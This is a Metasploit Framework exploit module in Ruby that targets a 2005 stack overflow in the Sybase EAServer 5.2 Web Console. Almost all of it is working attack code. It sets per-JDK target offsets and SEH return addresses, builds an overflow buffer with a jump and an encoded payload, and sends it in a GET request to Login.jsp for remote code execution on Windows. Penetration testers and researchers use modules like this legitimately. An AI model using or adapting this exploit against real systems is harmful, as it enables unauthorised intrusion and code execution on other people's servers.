##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to 
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##


require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,  
      'Name'           => 'Sybase EAServer 5.2 Remote Stack Overflow',
      'Description'    => %q{
        This module exploits a stack overflow in the Sybase EAServer Web
        Console. The offset to the SEH frame appears to change depending
        on what version of Java is in use by the remote server, making this
        exploit somewhat unreliable.
      },
      'Author'         => [ 'anonymous' ],
      'License'        => MSF_LICENSE,
      'Version'        => '$Revision$',
      'References'     =>
        [
              [ 'OSVDB', '17996'],
          [ 'BID', '14287'],
        ],
      'Privileged'     => false,
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'thread',
        },
      'Payload'        =>
        {
          'Space'      => 1000,
          'BadChars'   => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c&=+?:;-,/#.\\\$\%",
          'StackAdjustment' => -3500,

        },
      'Platform'       => 'win',
      'Targets'        => 
        [  
          # Technically we could combine these into a single multi-return string...
          ['Windows All - Sybase EAServer 5.2 - jdk 1.3.1_11', {'Ret' => 0x6d4548ff, 'Offset' => 3820}], 
          ['Windows All - Sybase EAServer 5.2 - jdk 1.3.?.?',  {'Ret' => 0x6d4548ff, 'Offset' => 3841}], 
          ['Windows All - Sybase EAServer 5.2 - jdk 1.4.2_06', {'Ret' => 0x08041b25, 'Offset' => 3912}], 
          ['Windows All - Sybase EAServer 5.2 - jdk 1.4.1_02', {'Ret' => 0x08041b25, 'Offset' => 3925}], 
        ],
      'DisclosureDate' => 'Jul 25 2005'))

      register_options(
        [
          OptString.new('DIR', [ true, "Directory of Login.jsp script", '/WebConsole/' ]),
          Opt::RPORT(8080)
        ], self.class)

  end

  def exploit

    print_status( "Attempting to exploit...")

    # Building the evil buffer
    crash = rand_text_alphanumeric(5000, payload_badchars)
    crash[ target['Offset'] - 4, 2 ] = "\xeb\x06"
    crash[ target['Offset']    , 4 ] = [target.ret].pack('V')
    crash[ target['Offset'] + 4, payload.encoded.length ] = payload.encoded

    # Sending the request
    res = send_request_cgi({
      'uri'          => datastore['DIR'] + 'Login.jsp?' + crash,
      'method'       => 'GET',
      'headers'      => {
        'Accept'  => '*/*',
        'User-Agent'  => 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)',
      }
    }, 5)
    
    print_status("Overflow request sent, sleeping for four seconds")
    sleep(4)
  end

end